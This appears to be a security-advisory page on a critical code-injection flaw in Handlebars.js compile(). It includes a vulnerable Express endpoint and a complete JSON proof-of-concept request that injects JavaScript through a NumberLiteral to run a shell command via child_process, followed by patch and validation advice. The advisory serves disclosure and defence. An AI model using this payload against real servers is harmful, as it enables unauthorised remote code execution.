Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Primary rating from Vendor (https://github.com/handlebars-lang/handlebars.js).
CVSS VectorVendor: https://github.com/handlebars-lang/handlebars.js
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Lifecycle Timeline
4Blast Radius
ecosystem impact- 3 npm packages depend on handlebars (1 direct, 2 indirect)
Ecosystem-wide dependent count for version 4.0.0.
DescriptionCVE.org
Summary
Handlebars.compile() accepts a pre-parsed AST object in addition to a template string. The value field of a NumberLiteral AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to compile() can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.
Description
Handlebars.compile() accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in lib/handlebars/compiler/javascript-compiler.js emits NumberLiteral values verbatim:
// Simplified representation of the vulnerable code path:
// NumberLiteral.value is appended to the generated code without escaping
compiledCode += numberLiteralNode.value;Because the value is not wrapped in quotes or otherwise sanitized, passing a string such as {},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() // as the value of a NumberLiteral causes the generated eval-ed code to break out of its intended context and execute arbitrary commands.
Any endpoint that deserializes user-controlled JSON and passes the result directly to Handlebars.compile() is exploitable.
Proof of Concept
Server-side Express application that passes req.body.text to Handlebars.compile():
import express from "express";
import Handlebars from "handlebars";
const app = express();
app.use(express.json());
app.post("/api/render", (req, res) => {
let text = req.body.text;
let template = Handlebars.compile(text);
let result = template();
res.send(result);
});
app.listen(2123);POST /api/render HTTP/1.1
Content-Type: application/json
Host: 127.0.0.1:2123
{
"text": {
"type": "Program",
"body": [
{
"type": "MustacheStatement",
"path": {
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": ["lookup"],
"original": "lookup",
"loc": null
},
"params": [
{
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": [],
"original": "this",
"loc": null
},
{
"type": "NumberLiteral",
"value": "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //",
"original": 1,
"loc": null
}
],
"escaped": true,
"strip": { "open": false, "close": false },
"loc": null
}
]
}
}The response body will contain the output of the id command executed on the server.
Workarounds
- Validate input type before calling
Handlebars.compile(): ensure the argument is always astring, never a plain object or JSON-deserialized value.
if (typeof templateInput !== 'string') {
throw new TypeError('Template must be a string');
}- Use the Handlebars runtime-only build (
handlebars/runtime) on the server if templates are pre-compiled at build time;compile()will be unavailable.
AnalysisAI
Remote code execution in Handlebars.js npm package allows unauthenticated attackers to execute arbitrary JavaScript on Node.js servers by injecting malicious payloads through crafted AST objects passed to Handlebars.compile(). The vulnerability (CWE-94 code injection) affects applications that accept user-controlled JSON and deserialize it as template input. A detailed proof-of-concept exploit demonstrates command execution via process.getBuiltinModule. Vendor patch is available in version 4.7.9 per GitHub advisory GHSA-2w6w-674q-4c4q. CVSS score 9.8 (Critical) reflects network-accessible attack requiring no privileges or user interaction.
Technical ContextAI
Handlebars.js is a widely-deployed templating engine for Node.js and browser environments (CPE: pkg:npm/handlebars). The vulnerability stems from CWE-94 (Improper Control of Generation of Code) in the JavaScript code generator located in lib/handlebars/compiler/javascript-compiler.js. When Handlebars.compile() receives a pre-parsed Abstract Syntax Tree object instead of a template string, the compiler emits NumberLiteral AST node values directly into generated JavaScript without sanitization or quoting. This allows attackers to break out of the intended code context by embedding JavaScript expressions within the NumberLiteral value field, which is subsequently eval-ed during template compilation. The design flaw exists because the AST compilation path assumes trusted input and lacks the input validation applied to string templates.
RemediationAI
Upgrade Handlebars.js to version 4.7.9 or later, which contains the patch available at https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2. Review the vendor security advisory at https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2w6w-674q-4c4q for additional guidance. Until patching is complete, implement strict input validation by verifying that all arguments to Handlebars.compile() are strings using typeof checks before compilation, rejecting any object or deserialized JSON inputs. For production environments where templates are pre-compiled at build time, migrate to the Handlebars runtime-only build (handlebars/runtime) which removes the compile() function entirely, eliminating the attack surface. Audit all API endpoints and template rendering code paths to identify locations where user-controlled data reaches Handlebars.compile().
Same weakness CWE-94 – Code Injection
View allVendor StatusVendor
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-16848
GHSA-2w6w-674q-4c4q